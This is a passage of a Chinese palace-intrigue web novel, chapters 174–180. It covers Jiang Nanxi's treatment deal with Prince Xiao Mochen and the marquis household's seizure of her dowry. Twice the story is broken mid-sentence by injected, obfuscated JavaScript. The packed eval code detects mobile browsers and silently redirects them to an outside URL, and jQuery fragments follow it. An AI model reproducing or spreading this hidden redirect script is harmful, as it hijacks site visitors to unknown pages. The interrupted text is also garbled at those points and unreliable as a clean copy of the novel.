又看看大门口神采飞扬,巧笑嫣然的少女。 唇角不自觉地勾了勾:“本王没有那么小气!” “既然不过是个破烂玩意,影十三,丢出去吧,以后都别再让这种东西,脏了本王和王妃的眼。” 影十三笑着领命。 沈翊轩不甘地抬起疼的满是冷汗的脸。 眼睁睁看着姜南溪与萧墨宸一起进了屋。 那亲昵的背影,理所当然的相伴姿态,烧红了他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15778684|171562||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的眼睛。 姜南溪,你会后悔的! 嫁给一个将死的残废,还是被各方势力狙击的萧墨宸。 你很快也会成为众矢之的。 你会生不如死,会哭着后悔没有选择我。 我等你回来跪着求我的那天! === 姜南溪进入御王府后,没有马上去给莺莺看病。 而是开门见山道:“王爷,我可以继续给你祛除巫髓毒。” 听到她的话,萧墨宸还没什么反应。 影十三和司玄中却是猛地抬起头。 影十三眼圈都红了,几乎喜极而泣。 可随即又愧疚地低下头。 姜南溪继续道:“只要王爷你愿意配合我的治疗,我保证,可以将你体内的巫髓毒完全祛除。” “达到一定治疗条件后,我还能接好你断裂的筋脉,让你像正常人一样坐卧行走,甚至……再次上战场。” 这一次,别说影十三和司玄中。 就连萧墨宸的瞳孔都剧烈收缩了一下。 向来平稳的呼吸都粗重了几分。 再次,上战场? 他真的还有再次上战场的机会吗? 司玄中和影十三更是眼睛都红了。 姜南溪:“但我有几个条件!” 萧墨宸深吸了一口气,强迫自己冷静下来:“你说!” 姜南溪竖起一根莹白如玉的手指:“第一,接下来,所有的治疗方案都要听我的,无论我的治疗手段看上去有多离奇,有多不正经,王爷您都不能质疑我的医术,更不能……冤枉我要勾引你!” 萧墨宸脸青了。 那句“本王何时冤枉你了”,几乎脱口而出。 可很快想起,他……还确实说过。 “咳……”司玄中差点没憋住笑,只得用咳嗽掩饰,“这是必然的,我们自然相信县主的医术。” 姜南溪斜睨了他一眼:“你相信有个屁用,我可不想给某人扎针扎到一半,又被指控说我占他便宜。” 虽然有时候,她确实有贼心。 但在治病的时候,她很专业的好嘛! 任何质疑她专业能力的,都不能容忍。 第一百七十五章 你不是非本王不嫁吗 “咳咳咳……”司玄中憋笑差点没憋过气去。 就连影十三也没忍住垂下头,肩膀微微耸动。 萧墨宸脸色更黑了,但还是不得不咬牙道:“本王,答应你!” 姜南溪在心里比了个耶! 终于在狗王爷面前占上风了。 于是,她心满意足,笑靥如花地又竖起了第二根手指:“第二,在我与王爷的婚姻存续期间,御王府要保护我的安全。” 婚姻存续期间? 这是什么奇怪的说法? 但意思倒是一听就懂。 司玄中看了萧墨宸一眼,笑道:“这点不需要县主说,我们也自然会做到。” 如今,姜南溪可是治疗萧墨宸的唯一希望。 她的安危,御王府和镇北军,恐怕比她自己都还关心。 似是想起了什么,司玄中又道:“如今影七已经是县主的仆人了吧?县主有什么事,完全可以吩咐影七去做。” “影七?”姜南溪皮笑肉不笑道:“他我另外有妙用。” 这狗暗卫害自己在七日断肠丸上吃了那么多苦。 只让他跑跑腿,岂不是太便宜他了? 司玄中笑了笑,当即不再多问:“县主还有其他什么条件,尽管提。” 姜南溪从善如流,竖起了第三根手指。 “第三,等王爷的病完全痊愈后,我们就和离。和离后,王爷您要替我向皇上要一个江南地区的女户,并保证我平安远离京城,不会再被卷入到你们争斗中。” 此话一出,在场三人都惊了。 “和离?”司玄中忍不住脱口喊道。 王妃竟然想要和离? 而且还是在王爷能重新站起来后? 萧墨宸刚刚染上了几分温度的双眸,瞬间宛如覆盖上了一层寒冰。 姜南溪理所当然道:“当然,我们之前不就说好的吗?” “我替王爷治病,王爷娶我替我摆脱定远侯府,帮我拿回嫁妆。” “这是一场交易,交易完成,我自然会功臣身退,绝不会继续鸠占鹊巢的。” 当然,临走前,她一定会把定远侯府欠原身的。 一笔一笔,连本带利全都讨回来。 而到那时,萧墨宸恢复如初,肯定又变回了曾经权倾朝野的御王。 她怎么说也是萧墨宸的救命恩人。 就算和离了,给她撑撑腰,送她万把百两的金银当酬金,没什么问题吧? 姜南溪只要想到这样的前景,就美滋滋的,眉梢眼角都带着笑。 萧墨宸看着这笑容,就觉得无比刺眼。 他咬牙切齿道:“你之前不是说,对本王一见钟情,非本王不嫁吗?” 这女人的嘴巴里,有半句话可信吗? 姜南溪呵呵干笑一声:“王爷记性真好,那时候我不是走投无路,除了扒着王爷不放,没有其他路可走吗?” 那时人人都知道原身不通医术。 萧墨宸又对定远侯府相关的人都深恶痛绝。 她除了编出一见钟情这种鬼话,怎么能扯御王这面虎皮做大旗。 又怎么能让皇上这个弟控给她赐婚? 司玄中看看自家王爷阴沉的能滴下水来的脸色。 委婉道:“县主,其实倒也不至于要和离,您治好了王爷,对王爷来说就是救命恩人。就算要一直当这个御王妃,也绝不会有任何人敢有异议的。” 姜南溪看了萧墨宸一眼,头摇的像拨浪鼓。 “免了免了,我有自知之明,绝不敢对王爷挟恩图报。” 之前睡了这狗男人一晚上,就差点被他嘎了。 还被喂了七日断肠丸,差点被折磨的死去活来。 她要是真的敢占着御王妃之位不放,还不知道会被怎么折腾呢! 姜南溪:“王爷放心。只要你的病一治好,我拿了和离书,一定有多远避多远,绝对会躲到你看不见的地方,更不会妨碍你续娶你的白月光为妻。” 萧墨宸越听,越觉得心里仿佛被堵了一口火,烧的他心头的暴戾蹭蹭蹭网上冒。 脸色也越发阴沉。 握在轮椅扶手上的手背,青筋暴起。 他一字字道:“你就那么想和离?和离后,你想做什么?” 回去与沈翊轩再续前缘吗? 姜南溪如果知道萧墨宸此刻的所思所想,绝对会大呼冤枉。 她看上去有那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15786367|171562||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 么贱吗? 找只狗再续前缘,都比找沈翊轩那种油腻男好不好? 她此刻早已忘了,之前曾脱口而出,把萧墨宸当沈翊轩替身这种事。 姜南溪此刻还沉浸在对未来的美好幻想中。 笑眯眯的正要说话。 一旁的司玄中却当机立断插嘴道:“县主,如今您和王爷连婚都还没成呢,现在就商讨和离后的事情,是不是太早了些?” “不过只要县主您治好了王爷,您就是我们整个御王府的救命恩人,无论您有什么要求,只要是我等力所能及的,自然会为县主办到。” 说着,给萧墨宸使了个眼色。 萧墨宸缓缓垂下眼帘,遮住眸底冰寒的杀意。 刚刚那一瞬,他已经把定远侯府众人的一百零八种死法都想好了。 姜南溪就算想回去沈翊轩身边。 她,回得去吗? 萧墨宸淡淡道:“本王答应你。” 姜南溪欣然伸出手,摆出击掌的姿势:“合作愉快!” 萧墨宸看着伸到面前的莹白小手。 微微皱眉,眼中闪过一抹疑惑。 姜南溪此时才想起来。 这时代,好像没有击掌为誓、击掌结盟的习俗。 她尴尬的正要收回手。 一只略显冰凉的修长大手突然伸过来,捏住了她的小手。 随后,紧紧地包裹住。 就好像是抓住自己的所有物一般。 姜南溪:“?” === 莺莺是在一阵轻轻的摇晃中睁开眼的。 她长长吐出一口气,只觉得浑身说不出的舒服。 昏迷前的记忆也慢慢回笼。 当看清了屋子里坐着的人,她再也躺不住了,一咕噜从床上翻下来。 砰砰砰就磕起了头。 “谢王爷救命之恩!” “谢王妃救命之恩!” 姜南溪也算是眼疾手快了。 可愣是没拉住小姑娘。 直到她连着把脑袋往地上撞了三下,才猛地反应过来,一把把人拽起来。 “别磕了,再磕我刚刚给你做的治疗都白费了。” 第一百七十六章 不过是想要好好活着罢了 这小姑娘真的太实诚了。 就这么磕三下,就把额头磕肿了。 姜南溪本就是颜控。 看着这水嫩嫩的小脸上留下青紫痕迹,真是怪心疼的。 司玄中笑道:“莺莺姑娘,接下来,你有什么打算?” 莺莺脸上露出了一瞬间的茫然。 春香阁她肯定是回不去了。 可除了春香阁,她还能去哪呢? 莺莺偷偷看了如谪仙一般的男子一眼。 又看了看姜南溪,脸上露出天人交战的神色。 可最终一咬牙道:“莺莺想留在御王府,报答王爷和王妃的救命之恩,无论是为奴为婢,还是做牛做马,都绝不会有任何怨言。” 说到后来,她的声音已经哽咽:“王爷当年对昌乐城的救命之恩,莺莺没齿难忘。” “只希望此生还能有机会常伴在王爷身边,报答王爷的大恩大德!” “求王爷王妃成全!” 一边说,晶莹的泪水一边顺着脸颊滑落。 看上去当真是梨花带雨、楚楚可怜。 姜南溪最受不得小姑娘这样楚楚动人的落泪了。 每次小婵、金铃她们哭哭啼啼的时候,她就恨不得说一声:小祖宗,别哭了,都答应你们还不行吗? 如今莺莺这样的大美女哭,她就更招架不住了。 不过她也看得出来,莺莺真正想留的是萧墨宸身边。 所以闭紧了嘴没有说话。 然而,萧墨宸脸上却没有丝毫情绪起伏。 而是慢慢翻动着手中的文书。 直到莺莺都撑不住那楚楚动人的表情了,才淡淡道:“你叫什么名字?” “莺莺……” 萧墨宸:“本王是问你的真名。” 莺莺愣了片刻,好半晌才喃喃道:“真名……” 有多少年没人问过她的真名了。 她几乎都忘了。 “徐莹……奴的真名,叫徐莹。” 萧墨宸:“廖长风是你何人?” 莺莺身体剧烈震颤了一下,猛地抬起头,看向萧墨宸:“他,他是我舅舅!” “王爷,您,您为何会提到我的舅舅?” 他的舅舅早在好多年前,就因为和家里闹翻,离家出走了。 可是莺莺却一直记得这位小舅舅。 记得小舅舅对她很好。 萧墨宸没有回答,司玄中却微微一笑道:“莺莺姑娘有所不知,一年前昌乐城城破之难后,城中幸存者多半如莺莺姑娘一般选择了朝廷发放的赈济银两,逐一离开。昌乐城几乎成了一座死城。” “大约三个月后,姑娘你的舅舅廖长风廖大人得知了昌乐城中的消息。” “他选择放弃了一府知州的职务,求皇上将他调到昌乐城,为昌乐城新任城主。” “在廖大人的不懈努力下,如今昌乐城已经有了不少百姓。那些流亡去临近城镇的幸存者,也都回去了自己的家乡。或许,如今的昌乐城不如从前那般繁荣昌盛,但也正在廖大人的努力下,一日日欣欣向荣。” “莺莺姑娘,你或许是一直呆在京城,才不知道这件事。” 随着司玄中的诉说,莺莺早已泪如雨下。 她此刻哭的再没有了方才的梨花带雨、楚楚动人。 而是那样的痛断肝肠,鼻涕眼泪如水一样往下流淌。 哭声也再没有了娇柔婉转,情肠动人。 唯有撕心裂肺般的哀嚎与释放。 此刻的她不再是那个千娇百媚,能诱惑天下男人的春香阁花魁。 而是个迷了路,受尽了委屈。 终于发现自己的家在何方的孩子。 哭的一点都不娇艳魅惑,却又那么让人心酸怜惜。 直到把眼泪哭干了,嗓子哭哑了。 莺莺才停下来。 她接过姜南溪递过来的绢帕,不好意思的擦脸上的泪水鼻涕。 想起自己刚刚那狼狈的模样。 她全身都火烧火燎的,恨不得找个地洞钻进去。 司玄中:“莺莺姑娘,你想回昌乐城吗?若是你想回去,我们可以安排人护送你回去。至于春香阁那边,你不用担心,从今往后,京城再没有花魁莺莺的存在。” 莺莺的双眼中闪烁着雀跃的光芒。 她毫不犹豫地点头:“我……我要回去。” 直到此时此刻,她都像做梦一样。 她要回家了? 原来她的家没有消失。 她也不用再回春香阁,不用再叫莺莺。 她有名字的。 她叫徐莹。 “徐莹谢王爷再造之恩!” 她又歉意地看向姜南溪,脸上满是羞愧:“王妃,您对我那么好,可我刚刚却为了……为了脱离青楼女子的身份,想要……想要……” 姜南溪伸出手捏了捏她红彤彤的小脸,声音轻柔:“傻瓜,这有什么好道歉的。” 青楼女子的处境如此凄惨艰难。 想攀附一个男人来脱离这样的境地,为自己赎身。 又能有什么错? 不过是想要好好活着罢了。 === 定远侯府。 “老夫人回来了!” 柳蕙兰在丫鬟的搀扶下,缓步走入侯府。 越走,她的脸色就越阴沉难看。 “这是怎么回事?婉茹就是这么当家的?” “这侯府怎么弄得一团乱?” 被问到的侯府仆从全都低下头,脸色难看,战战兢兢。 柳蕙兰啪地一拍桌子,怒道:“问你们话呢?侯爷和夫人呢?怎的一个都不在府中?” 一旁的丫鬟小心翼翼道:“侯爷和夫人今日一早便,便出去了,还未回来。” 柳蕙兰皱眉。 大清早的出去做什么? 而且,这侯府中怎地会乱成这副模样。 就算昨日刚给姜思瑶办了及笄宴,来不及整理。 也不该这般狼藉。 “哼,凌婉茹当真是越来越会办事了!” “柳嬷嬷呢?去把柳嬷嬷给我叫过来!” 小丫鬟如蒙大赦,急匆匆出去叫人了。 只是柳嬷嬷还没来,一道清脆爽朗的声音就先从门外传进来。 “祖母,玥彤回来了,这些时日孙女不在,你有没有想我啊!” 人未到,声先至。 紧接着,一个身着桃红色织锦长裙的明艳少女轻盈地跨过门槛。 如一团火般扑到了柳蕙兰怀里。 柳蕙兰刚刚还威严沉怒的脸,此刻立刻笑成了一座弥勒。 “哎呀,玥彤你可算是回来了。” “祖母还以为,你跟着未来婆家出去游玩,乐不思蜀,都不想再回侯府了呢!” 第一百七十七章 那都是嫁妆单子上的东西 沈玥彤抓着柳蕙兰的手亲昵晃着:“怎么可能?孙女这些日子,无时无刻不在想念祖母。” “祖母这么说孙女,孙女可不依呢!” 柳蕙兰笑的越发亲昵:“好好,祖母知道,我们玥彤最是孝顺了。这段时日,下江南游玩的如何?” 一提到这个,沈玥彤便眉飞色舞地说起来。 早在半年前,沈玥彤便与当今太子太傅楚穆炎的第三子楚彦晖订亲。 西楚对于订亲男女的大防并没有那般重。 是以上个月楚太傅长子楚彦衡要去江南办差,顺便带着家人和弟弟妹妹出游。 定远侯府便让沈玥彤这个楚家未来媳妇跟着一起去了。 自然,定远侯府这边也是安排了个长辈,陪着沈玥彤一起出游的。 为的也是让沈玥彤和楚彦晖在婚前多培养感情。 也让两家的关系更加密切。 柳蕙兰笑眯眯道:“彦晖待你如何?玥彤对你父亲给你订的这门亲事,可还满意?” 沈玥彤羞红了脸,轻轻晃了晃柳蕙兰的手,叫了句:“祖母……” 随即,她像是想到了什么。 “祖母,孙女听说,楚家的凤萱妹妹,也马上便要订亲了。楚家给她准备的嫁妆当真是十里红妆,富不可言。” “我与凤萱妹妹前后脚成婚,一个入府,一个出嫁,若是嫁妆差距过大,孙女哪还有脸见人啊?” “祖母,你也不想孙女嫁到楚家去让人看不起吧?” “您再多疼疼孙女,给孙女的嫁妆里再多添点富贵的东西好不好?” 柳蕙兰面色微微一僵。 以定远侯府的家底,要和楚家拼富贵,显然是不可能的。 更何况,楚凤萱可是权倾朝野的楚太傅唯一的女儿,也是镇国公楚战天最疼爱的孙女。 可是看孙女殷殷期盼的模样,又有些不忍。 沈玥彤见柳蕙兰意动,立刻便道:“祖母,前两日孙女和楚家婶子聊天的时候,她还提起了西郊十里坡的那个庄子,还有长兴街上的醉仙楼、九凤阁,都是极好的庄子和铺面。言语之间羡慕的不得了。” “凤萱妹妹还提到了祖母您曾经戴过的那套翡翠头面,说是价值连城。” “祖母,孙女也不要多的,您就把这几个庄子铺子,并那翡翠头面,给孙女当嫁妆好不好?” 柳蕙兰笑着点她的额头:“你啊你,就知道从我这儿挖好东西。” 沈玥彤抱着柳蕙兰的手臂直晃悠:“祖母,祖母,你就给孙女好不好?孙女风光嫁去楚家,对侯府也有好处啊!” 柳蕙兰虽也有些肉疼。 但想到沈玥彤是她唯一的孙女,嫁的又是楚家这般权倾朝野的显贵。 嫁妆寒酸了,确实丢定远侯府的人。 于是便笑着道:“好好,祖母答应都给你还不行……” 然而,柳蕙兰的话还没说完。 就听到屋外传来柳嬷嬷焦急的声音:“老太太,万万不可!” “刚刚大小姐提到的东西,可都是南溪县主嫁妆单子里的,老太太万万不能给大小姐列到嫁妆单子里去啊!” 柳嬷嬷一把年纪了。 近年来第一次跑的那么急那么快。 等站定后,呼哧带喘的,半天都说不出一句话。 还不等她把气喘匀,沈玥彤就一个巴掌扇在她脸上。 “你个刁奴,胡说八道什么?” “这些都是我定远侯府的东西,凭什么不能列入我的嫁妆单子?” 柳嬷嬷被生生抽的打了个转,头晕眼花,一屁股坐倒在地上。 她面颊火辣辣,脑袋晕乎乎的,只本能地哭喊道:“可这些当真是南溪县主嫁妆单子上的啊,若是拿了……” 若是拿了,那可是欺君之罪啊! “够了!” 这一次,连柳蕙兰都盛怒了:“谁告诉你,十里坡的庄子,长兴街上的店铺和我的翡翠头面,都是姜南溪的嫁妆?这分明都是我定远侯府的财产,我要给我孙女当嫁妆,还轮得到你一个奴才来管?” “柳嬷嬷,这些年你的差事,可是办的越发好了!” “不过是办个小小的及笄宴,却把侯府折腾的一片狼藉,如今连我侯府的财产都要算计了?” 柳嬷嬷疯狂摇头:“不不,老太太,老奴绝没有这个意思,而是这些东西确实是南溪县主嫁妆单子上的,而县主的嫁妆单子……” 砰——! 沈玥彤狠狠一脚将柳嬷嬷踹翻在地。 怒不可遏道:“嫁妆单子?嫁妆单子!姜南溪给了你这刁奴多少好处,让你要背叛旧主,帮那个贱人说话?” “就算是姜南溪的嫁妆又如何,既然入了我侯府手中,自然是我侯府的资产。” “更何况,姜南溪迟早都要嫁给我大哥,这些嫁妆,早晚也是我侯府的东西。” “既是我定远侯府的东西,我堂堂侯府大小姐,提早用了,又有什么关系?” “轮得到你一个狗奴才来对本小姐说三道四?” 柳嬷嬷被踹的匍匐在地,低低呻吟,半天都爬不起来。 而凶神恶煞骂完的沈玥彤一转身,却对着柳蕙兰娇滴滴嗔道:“祖母,孙女不依啊!如今孙女都还没出嫁呢,府里的奴才就已经不把孙女放在眼里了,连祖母给孙女的嫁妆添妆都要说三道四。” “那孙女以后若是嫁出去了,这侯府,哪还有孙女的半分容身之地啊!呜呜呜,是不是以后侯府也不会有人给孙女撑腰了?” 柳蕙兰被她哭的心疼了,连忙心肝宝贝地哄着。 直到答应了再给沈玥彤的嫁妆添几个头面。 沈玥彤才破涕为笑。 柳蕙兰冷眼看着地上哀嚎的柳嬷嬷,冷冷道:“柳嬷嬷以下犯上,不敬主子,拖下去打三十鞭子,以儆效尤!” “我倒要看看,以后还有哪个爱嚼舌根的,敢说我定远侯府的财产,跟旁人的嫁妆有任何瓜葛!” 柳嬷嬷大骇,抬起头就要说话。 却被柳蕙兰身边亲近的嬷嬷堵住嘴巴,拖了下去。 很快,啪啪啪的鞭打声就从外面传来。 旁观的丫鬟仆从们之前还想说话的。 看到这一幕,顿时面如土色,噤若寒蝉。 第一百七十八章 清点嫁妆 为了让沈玥彤高兴,柳蕙兰当场让人拿来沈玥彤的嫁妆单子,往上添了刚说的那些庄子铺面和首饰。 沈玥彤乐得眉开眼笑。 抱着柳蕙兰的手亲昵了好一会儿,才拿着嫁妆单子走了。 一旁贴身伺候柳蕙兰的焦嬷嬷道:“如今离婚期还有月余,让大小姐这般拿着嫁妆单子去楚家招摇,不会出问题吧?” 柳蕙兰笑了笑:“你以为楚家为何无缘无故提到这些东西?” 楚家出了两位太后。 对于当年先皇赏赐给姜南溪的宝贝,还有姜南溪的嫁妆,多少都有些了解。 对着沈玥彤说这些,明面上是夸这些庄子铺面首饰。 实则是在点他们侯府。 通过沈玥彤的口,告知他们。 楚家看上了这些东西。 让定远侯府不着痕迹地通过沈玥彤的嫁妆,把这些资产送到楚家手中呢! 所以柳蕙兰虽肉痛,却也没怎么犹豫便答应了。 只是没想到,竟然会被柳嬷嬷说破她们强占了姜南溪的嫁妆。 正说着,被抽打的奄奄一息地柳嬷嬷被拖进来。 柳蕙兰一看到她就怒火中烧。 她挥退了左右,只剩下心腹在身边。 厉声道:“柳嬷嬷,我当初让你去凌婉茹身边,是让你看着夫人,看着侯府。你如今倒是越发会办事了,这是仗着有夫人给你撑腰,便不把我这个老太太放在眼里了?” 柳嬷嬷疼的浑身抽搐,哭着喊道:“老奴没有,老奴对老太太您忠心耿耿,又怎么会背叛您呢!老奴会说南溪县主的嫁妆动不得,实在是因为……因为……” “老太太,不好了,不好了!” 柳嬷嬷的话还没说完,就听外面传来一怔惊慌失措的喊声。 柳蕙兰心中一惊。 突然涌起一股极度不好的预感。 下一刻,就见门口的小厮阿昌慌里慌张地跑进来,口中惊惶喊着:“老太太,皇上……皇上派户部官员,来替南溪县主讨要嫁妆了!” 砰! 柳蕙兰撑在桌面上的手一滑。 搁在旁边的茶盏立刻就被撞落在地,摔了个粉碎。 柳蕙兰惊怒道:“你说什么?皇上派户部来替姜南溪讨要嫁妆?皇上为何……为何……” “老太太,老奴一直都想告诉你啊!昨日的及笄宴上……” 这一次,柳嬷嬷终于有了说话的机会,一把鼻涕一把眼泪把昨儿个及笄宴上发生的事情说了一遍。 她每说一句,柳蕙兰的脸色就青白一分。 等听到最后皇上下旨,赐婚萧墨宸和姜南溪。 柳蕙兰再也坐不住了,上前猛地拽起柳嬷嬷的衣襟,嘶吼道:“你说什么?皇上当真给萧墨宸和姜南溪赐婚,还要我定远侯府归还所有的嫁妆?” 柳嬷嬷哭道:“千真万确,昨儿个圣旨到的时候,来参加思瑶小姐及笄宴的宾客全听见了。” 柳蕙兰的手不可遏制地颤抖起来。 她的眼中露出惊怒又慌张的神色,口中喃喃:“怎么会……皇上怎么会真的赐婚……” “那岂不是,先皇的赏赐,要落在萧墨宸那个小杂种手上?” “不不!绝不行!” 一旁的人听到柳蕙兰骂御王小杂种,吓得脸都白了。 柳蕙兰咬牙切齿道:“凌婉茹呢?捅出这么大的篓子,她现在跑哪去了?” 柳嬷嬷战战兢兢道:“侯爷和夫人今儿个一大早就去找人想办法了,夫人去见了皇后,侯爷去找了楚太傅……” 沈云峰和凌婉茹是想要在这个赐婚圣旨彻底传开,在萧墨宸和姜南溪的婚事板上钉钉前,到处奔走运作一下。 希望能挽回这场婚约。 至少……至少不要让定远侯府归还嫁妆。 要知道,这些年因为笃定姜南溪迟早有一天会嫁入定远侯府。 她的性格又如此好拿捏。 所以定远侯府早将姜南溪的嫁妆当做了自己的所有物。 府中的生活日益奢靡铺张。 若是将嫁妆全还回去,他们定远侯府以后的日子要如何过? “备车!我要出去一趟!” 柳蕙兰厉喝了一声,匆匆就要出门。 然而,刚动身,就被户部的人堵了个正着。 “哎呀,老太太您在这,那真是太好了。” “我乃户部侍郎沈漾,奉圣上之命,来清点南溪县主的嫁妆,还请老太太屈尊配合一下。” 柳蕙兰脸色无比难看:“此事老身并不清楚。” 沈漾皱眉道:“可我怎么听说,老太太曾经在宴席上戴了副价值连城的翡翠头面,就是县主嫁妆清单里的。” 柳蕙兰大怒:“沈大人,你这是在质疑老身?” “下官不敢!”沈漾不卑不亢道:“不过皇命在身,不得不为。” 柳蕙兰咬牙道:“老身现在有急事要出门,沈大人……” “哈哈,那下官便在侯府等就是了。” 沈漾笑眯眯道:“皇上下令,让户部十日内帮县主完成嫁妆的清点、交接,我等岂能违抗圣命?” “时间紧急,户部上下可是一刻都不敢耽搁。” “但奈何侯府都贵人事忙,侯爷侯夫人不在家中,如今连老太太也要出门。” “下官无奈之下,也只得在这里等候了。” 说着,还对身旁的下属道:“这样吧,你回本官家中去,替本官整理几套换洗衣物,在完成圣上的任务前,本官就住在侯府了。老太太,您应该不会介意吧?” 柳蕙兰面色僵硬,半句决绝的话都说不出来。 沈漾幽幽看了她一眼,继续道:“呵呵,定远侯治家向来清正严明,想必绝做不出霸占孤女嫁妆这等无耻事情来。” “下官相信,这场嫁妆的清点和交接,定然会很快结束的!” 说完,就带着户部的下属,施施然进了定远侯府。 那架势,仿佛他才是侯府的主人一般。 柳蕙兰就那么被晾在了原地。 不由面容扭曲,牙齿咬的咯咯作响。 好半晌才低吼一声道:“姜南溪!萧墨宸!” 早知今日,这两个小杂种会联手。 当初她绝不会同意凌婉茹的计划。 若是让沈翊轩早早娶了姜南溪,将嫁妆彻底拿到手。 再无声无息将这小贱人弄死,又哪里会有今日的祸端? 第一百七十九章 给你一个将功补过的机会 还有那先皇赏赐! 柳蕙兰至今不知道究竟是什么。 可却知道,是极其重要的东西。 重要到,如今权倾朝野的楚家,都千方百计想得到。 甚至不惜与他们定远侯府结亲。 可如今,这东西却极可能落到萧墨宸手中。 眼看那小贱种马上便要万劫不复,去陪他的死人母亲了。 若拿到了那东西,会不会让他翻盘? 不! 绝不会的! 她机关算尽,甚至不惜给人当妾才换来了今日的局面。 绝不会容许一切努力付之一炬。 让那女人的儿子,再次爬到她的头上来! 她,绝不容许! === 御王府。 姜南溪看着跪在自己面前的影十三,发出一声呵呵冷笑。 影十三将身体压得更低了,哑声道:“属下胆大包天欺瞒县主,愿听凭县主惩罚。” 姜南溪双手环胸:“惩罚?你是御王府的墨影卫,我有什么资格惩罚你?” “而且,这是欺瞒的问题吗?” “影十三,我把你当朋友,无条件相信你的话,结果你居然利用我的信任来欺骗我?” “你觉得这种欺骗对我的伤害,是靠惩罚和赔罪能弥补的吗?” 影十三愣住了。 她茫然地抬起头,喃喃道:“朋友?” 她不过是个暗卫? 是连名字、身份、过去、来历都不能公之于众的死士。 是御王手上的一把刀。 县主,怎么会将一把刀,当做朋友呢? 她觉得好笑。 可是心脏却像是被针扎一样,细细密密的疼。 无尽的后悔和内疚,如潮水般涌上来,几乎将她淹没。 她张了张嘴想说话,喉咙却像是被什么卡住了。 半个字都说不出来。 影十三的头又低低的垂了下去。 她知道自己再没有资格求得南溪县主的原谅了。 一切都是她咎由自取。 然而下一刻,姜南溪就蹲下身。 用一根纤细的手指,挑起她的下巴。 “但看在你们墨影卫脑子都比较不好使的份上,我可以再给你一个将功补过的机会!” 影十三心神猛地一荡,几乎脱口道:“什么机会?” 无论是要上刀山下油锅。 还是肝脑涂地。 她都心甘情愿,绝没有一丝怨言。 姜南溪指尖在她的下巴勾了勾。 直勾的影十三背脊僵直,神色慌乱。 才缓缓道:“从明日开始,你每天早上来慕华园教我学武!” “若是能将我教的武力值提升,足够应付普通侍卫,我就当你将功补过,原谅你了。” 影十三脸上露出了迷惘的神色:“这……这就是县主队属下的处罚?” 可这怎么能算处罚呢? 姜南溪:“怎么不算?我才是苦主,我说这是惩罚,它便是惩罚?” “如何,能做到吗?” 影十三眼眶微微湿润,好半晌才哑声道:“属下必不负所托!” …… 姜南溪从御王府出来后,没有马上回碧清院。 而是又去了长兴街。 她已决定给萧墨宸做全面的治疗。 那只靠之前的急救扎针就远远不够了。 还需要准备好相应的药材。 也恰好,给夭夭做补心丸的药材也快用完了。 走在长兴街上,身旁的金铃和银铃忽然想到了什么。 “小姐,您的嫁妆单子中,有几个铺子就在这长兴街上,您要不要去看看?” 金铃这一说,姜南溪倒是来了兴趣。 九凤阁中。 沈玥彤领着两个衣着光鲜的少女,兴冲冲进门。 “掌柜的,将店中最时新的珠宝首饰都拿出来!” 说着,她对身后的两个小姐妹豪爽道:“今日你们在九凤阁中看中的首饰,本小姐都送你们了!” 郭曼香和范思慧闻言都大喜过望。 “玥彤,你此话当真!” “九凤阁中的首饰价格可都不低,随我们挑选,你就不心疼?就算你不心疼,一会儿你娘知道了,也该心疼了。” 沈玥彤咯咯笑着取出了怀中的纸张,摊开来在两人面前晃了晃。 “你们瞧这是什么?” “嘶——!” 两人齐齐倒吸了一口凉气。 这是一张嫁妆单子。 而长兴街上最热闹最赚钱的两个铺面。 九凤阁、醉仙楼,竟然全在这嫁妆单子上。 郭曼香:“侯府怎的如此舍得,这如金窟一般的铺面和庄子,竟然都送玥彤你当了嫁妆。” 范思慧:“呜呜,玥彤,我真的好羡慕你啊!你这嫁妆,便是比之凤萱的也差不到哪去了!你家中人可真是疼爱你。” 沈玥彤被夸得飘飘然,眉梢眼角全是得意。 如果可以,今日她想将这嫁妆单子宣扬的满城皆知。 尤其要让楚家人知道。 她沈玥彤嫁入楚家,能给楚家带来多大的荣耀和财富。 只可惜今日楚凤萱有事,不肯随她出来。 不过没关系。 这郭曼香和范思慧也是她精心挑选过的。 两人喜好金银珠宝,又大嘴巴。 今日自己送了她们首饰头面。 来日她们定会将自己那耀眼的嫁妆单子,宣传的人尽皆知。 三人说话间,已经进入了九凤阁中。 掌柜的本是侯府的人。 见来的是沈玥彤,自然殷勤。 等看到了沈玥彤手中的嫁妆单子,得知这位大小姐会是自己未来主家。 当即越发阿谀谄媚。 让伙计将九凤阁中最好的珍品,全都取了出来,供三人挑选。 郭曼香和范思慧看的眼睛都直了。 两人很快就选了几样首饰。 郭曼香将首饰紧紧抱在怀中,假惺惺道:“玥彤,你当真舍得把这般珍贵的首饰送我们吗?” 沈玥彤虽有些肉疼,还是佯装大度道:“哈哈,这有什么好不舍得的?以后整个九凤阁都是我的,里面的首饰头面随我挑选,难道还会缺这几个朱钗、手镯吗?” “呜呜呜,玥彤你真是太好了,以后你就是我和曼香最好的姐妹!” “对对,等回去我们要告诉所有人,如今的定远侯府是何等富贵。哪里有可能会像那些乱嚼舌根的人说的,会穷到霸占孤女嫁妆啊!” 沈玥彤听到这话,面色僵硬了一瞬。 但很快就恢复如常:“笑话,这九凤阁也不过是我定远侯府资产中最不起眼的一处,我祖母和母亲打理不过来,才将它送了给我。哪里用得着去觊觎什么嫁妆?岂不是笑掉人 第一百八十章 